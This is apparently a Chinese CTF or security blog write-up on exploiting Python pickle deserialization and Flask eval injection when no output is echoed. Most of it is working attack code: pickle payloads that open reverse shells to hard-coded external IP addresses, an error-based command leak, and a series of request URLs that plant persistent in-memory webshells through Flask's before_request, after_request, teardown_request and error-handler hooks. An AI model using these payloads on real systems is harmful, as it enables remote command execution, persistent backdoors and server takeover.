无回显但是出网--反弹shell,报错带出

服务端安装有python的反弹shell

import pickle
import os

class tttang(object):
    def __reduce__(self):
        a="""
        python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("124.222.255.142",7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
        return (os.system,(a,))

a = tttang()
pickle.loads(pickle.dumps(a))

基础反弹shell

import pickle
import os

class tttang(object):
    def __reduce__(self):
        a='__import__(\"os\").popen(\'bash -c \"bash -i >& /dev/tcp/8.130.110.182/2333 0>&1\"\').read()'
        return (eval,(a,))

a = tttang()
pickle.loads(pickle.dumps(a))

不出网,debug模式下利用报错

通过eval调用exec手动抛出错误,eval只能执行Python表达式,并不能执行python语句,而raise 是一个用于引发异常的语句

from urllib.parse import quote

exc = "raise Exception(__import__('os').popen('whoami').read())"

opcode = f'''cconfig
notadmin
(S'admin'
S'yes'
u0(cconfig
backdoor
(S'exec("{exc}")'
lo.'''
print(quote(opcode))

不出网,非debug模式下利用内存马

环境:

from flask import Flask,request
from flask import render_template_string
app = Flask(__name__)

@app.route('/')
def hello_world():
    return 'Hello World'


@app.route('/test',methods=['GET', 'POST'])
def test():
    # # template = '''
    # #     <div class="center-content error">
    # #         <h1>Oops! That page doesn't exist.</h1>
    # #         <h3>%s</h3>
    # #     </div>
    # # ''' %(request.values.get('mixian'))
    #
    # return render_template_string(template)
    eval(request.args.get('cmd'))
    return "ook"


if __name__ == '__main__':
    app.run()

旧版本内存马

{{url_for.__globals__['__builtins__']['eval'](\"app.add_url_rule('/shell', 'myshell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd')).read())\",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}

新版本下内存马

访问http://127.0.0.1:5000/test?cmd=app.add_url_rule('/shell','shell',lambda :"123")

新版本下add_url_rule不再适用,会被check

@app.before_request

可以通过此方式添加函数来创建新路由

在 Flask 中,before_request 是一个装饰器,它用于==在请求处理之前执行特定的函数==。

from flask import Flask, request

app = Flask(__name__)

@app.before_request
def before_request():
    # 执行一些操作,例如进行身份验证
    if not request.headers.get("Authorization"):
        return "Unauthorized", 401

跟进到函数的底层逻辑

看到最后:

self.before_request_funcs.setdefault(None, []).append(f)
        return f

简而言之这里的f就是我们添加的函数

访问http://127.0.0.1:5000/test?cmd=app.before_request_funcs.setdefault(None, []).append(lambda:"123")

成功写入之后,可以看到我们的匿名函数lambda在每次请求前都会执行

下一步创建一个参数

传入http://127.0.0.1:5000/test?cmd=app.before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen(request.args.get('mixian')).read())

可以看到成功写入并进行命令执行。

接下来试试打ssti

传入http://127.0.0.1:5000/test?cmd=render_template_string({{app.before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen(request.args.get('mixian')).read())}})

因为 before_request 钩子没有像 after_request 钩子那样直接返回响应对象,而是传递给下一个处理函数。所以我们无法实现ssti

@app.after_request

app.after_request和app.before_request的区别就是一个在请求前执行注册的函数,一个在请求后执行注册的函数。底层逻辑也几乎一样。

有师傅https://xz.aliyun.com/t/14421巧妙地构造全局变量,成功利用make_response创造了一个响应

http://127.0.0.1:5000/test?cmd=app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec("global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(request.args.get('cmd')).read())")==None else resp)

成功打上了一个内存马

@teardown_request

在每次请求后执行(接受一个参数:用来接受错误信息)。看起来跟after_request很像也是在请求之后执行构造的函数

老规矩,先看一下底层逻辑:

确实很像,底层逻辑都这么像,将函数f添加到新创建的列表

所以Payload也一样,改改名字就行

http://127.0.0.1:5000/test?cmd=app.teardown_request_funcs.setdefault(None, []).append(lambda a:__import__('os').system('dir').read())

@errorhandler

@app.errorhandler(404)
def not_found_page(error):
    return "Page not found",404

使用@app.erroehandler(404)注册一个钩子函数not_found_page(error),当发生页面404错误时,调用钩子函数,该函数第一个参数就是错误对象

先看底层逻辑,跟进register_error_handler函数

可以看到调用了两个函数:_get_exc_class_and_code和error_handler_spec[None][code][exc_class]

_get_exc_class_and_code函数获取异常类和异常类状态分别赋值给两个参数

error_handler_spec[None][code][exc_class]写入钩子函数

所以就调用register_error_handler来构造函数

http://127.0.0.1:5000/test?cmd=app.register_error_handler(None, lambda:"123")

结果报错了,而且和旧版本的add_url_rule一样的报错信息

下断点调试,找找原因

还是check的问题,检查是不是第一次调用

可以看到可以进到_get_exc_class_and_code函数,并且不会再被check
@gxngxngxn和@Ic4_F1ame两位师傅找到了可以绕过对register_error_handler的check的其他触发方法:

访问404页面,步入后看到_find_error_handler函数,跟进

看到了熟悉的两个函数

所以==可以绕过register_error_handler方法==,直接覆盖两个函数,这两个函数被调用后没有再被check。

http://127.0.0.1:5000/test?cmd=exec("global%20exe_class;global%20code;exc_class,%20code%20=%20app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class]%20=%20lambda:__import__(%27os%27).popen(%27dir%27).read()")

这里也是eval不能执行python语句的问题,选择使用exec

访问任意404页面即可